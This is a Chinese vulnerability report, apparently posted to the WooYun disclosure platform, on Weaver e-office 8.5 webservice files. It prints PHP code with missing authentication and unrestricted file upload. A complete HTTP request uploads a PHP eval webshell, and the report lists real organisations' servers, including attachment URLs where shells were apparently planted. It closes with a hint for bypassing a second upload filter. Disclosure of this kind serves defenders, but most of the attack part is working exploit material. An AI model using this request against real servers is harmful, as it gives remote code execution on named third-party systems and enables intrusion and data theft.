看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码
经过一阵子的翻阅,发现和webservice 并行的目录也存在越权行为,代码结构类似:
第一个目录
webservice-json/login/login.wsdl.php:
function UserLogin( $UserName, $Password ) { $loginStatus = array( ); if ( trim( $UserName ) == "" ) { $loginStatus['status'] = "false"; $loginStatus['infor'] = "用户名为空"; return $loginStatus; } $user = new user( ); if ( $user->CheckUserAccount( $UserName ) == false ) { $loginStatus['status'] = "false"; $loginStatus['infor'] = "用户名不存在"; return $loginStatus; } $userID = $user->getUserIDByUserAccount( $UserName ); if ( $user->checkOldPassword( $userID, $Password ) == false ) { $loginStatus['status'] = "false"; $loginStatus['infor'] = "密码错误"; return $loginStatus; } global $connection; $query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'"; $cursor = exequery( $connection, $query ); $ROW = mysql_fetch_array( $cursor ); $timenow = time( ); $CUR_TIME = date( "Y-m-d H:i:s", $timenow ); $query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'"; exequery( $connection, $query ); session_start( ); $_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID']; $_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD']; $_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV']; $_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS']; $_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME']; $_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV']; $_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID']; $loginStatus['status'] = "true"; $loginStatus['infor'] = $ROW['USER_ID']; $loginStatus['session_key'] = session_id( ); return $loginStatus; } function UserIDLogin( $UserId ) { global $connection; $infor = array( ); $sql = "SELECT COUNT(*) FROM USER WHERE USER_ID='".$UserId."'"; $cursor = exequery( $connection, $sql ); if ( $ROW = mysql_fetch_array( $cursor ) ) { $count = $ROW[0]; } if ( 0 < $count ) { $timenow = time( ); $CUR_TIME = date( "Y-m-d H:i:s", $timenow ); $query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$UserId."'"; exequery( $connection, $query ); session_start( ); $infor['session_key'] = session_id( ); $infor['status'] = "true"; } else { $infor['status'] = "false"; $infor['session_key'] = ""; } return $infor; } function GetCurrentInformation( $UserId ) { global $connection; $infor = array( ); if ( $UserId != "" ) { global $connection; $user = new user( ); $sql = "SELECT * FROM USER WHERE USER_ID='".$UserId."'"; $result = exequery( $connection, $sql ); if ( $row = mysql_fetch_assoc( $result ) ) { $infor = $row; $priv = $row['USER_PRIV']( $row['USER_PRIV'] ); $infor['priv_name'] = $priv['PRIV_NAME']; $dept = $row['DEPT_ID']( $row['DEPT_ID'] ); $infor['dept_name'] = $dept['DEPT_NAME']; $infor['check'] = "true"; if ( $row['USER_STATUS'] == "1" ) { $infor['status'] = "在职"; } else { if ( $row['USER_STATUS'] == "2" ) { $infor['status'] = "离职"; } } } } else { $infor['check'] = "false"; } return json_encode( $infor ); } include_once( "nusoap/lib/nusoap.php" ); include_once( "api/user.class.php" ); include_once( "inc/conn.php" ); $server = new soap_server( ); $server->soap_defencoding = "UTF-8"; $server->decode_utf8 = false; $server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" ); $server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl"; $server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) ); $server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" ); $server->wsdl->addComplexType( "IDcheck", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) ); $server->register( "UserIDLogin", array( "UserId" => "xsd:string" ), array( "return" => "tns:IDcheck" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserIDLogin", "rpc", "encoded", "UserIDLogin" ); $server->register( "GetCurrentInformation", array( "UserId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#GetCurrentInformation", "rpc", "encoded", "GetCurrentInformation" ); $server->service( $HTTP_RAW_POST_DATA ); ?>
代码结构,风格都一样,漏洞请参照
http://www.wooyun.org/bugs/wooyun-2015-0125281/trace/288315217e38c991a819ae7415cd1926
webservice-json/upload/upload.php:
漏洞参照:
http://www.wooyun.org/bugs/wooyun-2015-0125265/trace/efd66a6faa58a6bf64582d7de9f26b1b
同理:
webservice-xml/login/login.wsdl.php
webservice-xml/upload/upload.php
内容一样 原理同上
这里证明一下这些文件在最新的e-office 存在即可
http://oa.sccm.cn/webservice-xml/login/login.wsdl.php
http://oa.vma.cn/webservice-xml/login/login.wsdl.php
http://eoffice.sccm.cn/webservice-xml/login/login.wsdl.php
http://eoffice8.weaver.cn:8028/webservice-xml/login/login.wsdl.php
http://oa.sccm.cn/webservice-xml/upload/upload.php
http://oa.vma.cn/webservice-xml/upload/upload.php
http://eoffice.sccm.cn/webservice-xml/upload/upload.php
http://eoffice8.weaver.cn:8028/webservice-xml/upload/upload.php
http://oa.sccm.cn/webservice-json/upload/upload.php
http://oa.vma.cn/webservice-json/upload/upload.php
http://eoffice.sccm.cn/webservice-json/upload/upload.php
http://eoffice8.weaver.cn:8028/webservice-json/upload/upload.php
看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码
webservice/login/login.wsdl.php?wsdl:
http://eoffice.sccm.cn/webservice/login/login.wsdl.php?wsdl
这个文件也没有进行任何auth验证:
我们访问:
http://eoffice.sccm.cn/attachment/1.php
原理都相同,不多赘述
http://oa.sccm.cn//webservice/eoffice.wsdl.php?wsdl
http://oa.vma.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice.sccm.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice8.weaver.cn:8028/webservice/eoffice.wsdl.php?wsdl
任意文件上传:
下来看代码:
webservice/upload.php
include_once( "inc/utility_all.php" ); $pathInfor = pathinfo( $_FILES['file']['tmp_name'] ); $extension = $pathInfor['extension']; $role = UPLOADROLE; $attachmentID = createfiledir( ); global $ATTACH_PATH; $path = $ATTACH_PATH.$attachmentID; if ( !file_exists( $path ) ) { mkdir( $path, 448 ); } $attachmentName = $_FILES['file']['tmp_name']; $fileName = $path."/".$_FILES['file']['name']; $fileName = iconv( "UTF-8", "GBK", $fileName ); move_uploaded_file( $_FILES['file']['tmp_name'], $fileName ); if ( !file_exists( $fileName ) ) { echo "false"; } else { echo $attachmentID."*".$_FILES['file']['name']; }
文件上传条件:
1.无需登录
2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来
3.无需后缀验证
发送如下请求:
POST /webservice/upload.php HTTP/1.1 Host: eoffice.sccm.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------74141544123431 Content-Length: 818 -----------------------------74141544123431 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php phpinfo();@eval($_POST['chopper']);?> -----------------------------74141544123431--
shell
案例:
http://oa.sccm.cn/
http://oa.vma.cn/attachment/2754969047/wooyun.php
http://eoffice.sccm.cn/attachment/2070630318/wooyun.php
eoffice8.weaver.cn:8028/attachment/1002074664/wooyun.php
其中最后一个官网设置了目录访问权限,所以不能访问那个文件但是文件已经上传上去了,这种情况,如果有特殊说明,必须告知用户,否则后果很严重
第二处:
webservice/upload/upload.php:
include_once( "inc/utility_all.php" ); $pathInfor = pathinfo( $_FILES['file']['tmp_name'] ); $extension = $pathInfor['extension']; $role = UPLOADROLE; $pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false; if ( !( $pos === false ) ) { echo "false"; } else { $attachmentID = createfiledir( ); global $ATTACH_PATH; $path = $ATTACH_PATH.$attachmentID; if ( !file_exists( $path ) ) { mkdir( $path, 448 ); } $attachmentName = $_FILES['file']['tmp_name']; $fileName = $path."/".$_FILES['file']['name']; $fileName = iconv( "UTF-8", "GBK", $fileName ); move_uploaded_file( $_FILES['file']['tmp_name'], $fileName ); if ( !file_exists( $fileName ) ) { echo "false"; } else { echo $attachmentID."*".$_FILES['file']['name']; } } ?>
代码很相似,绕一下逻辑即可,原理就不用解释了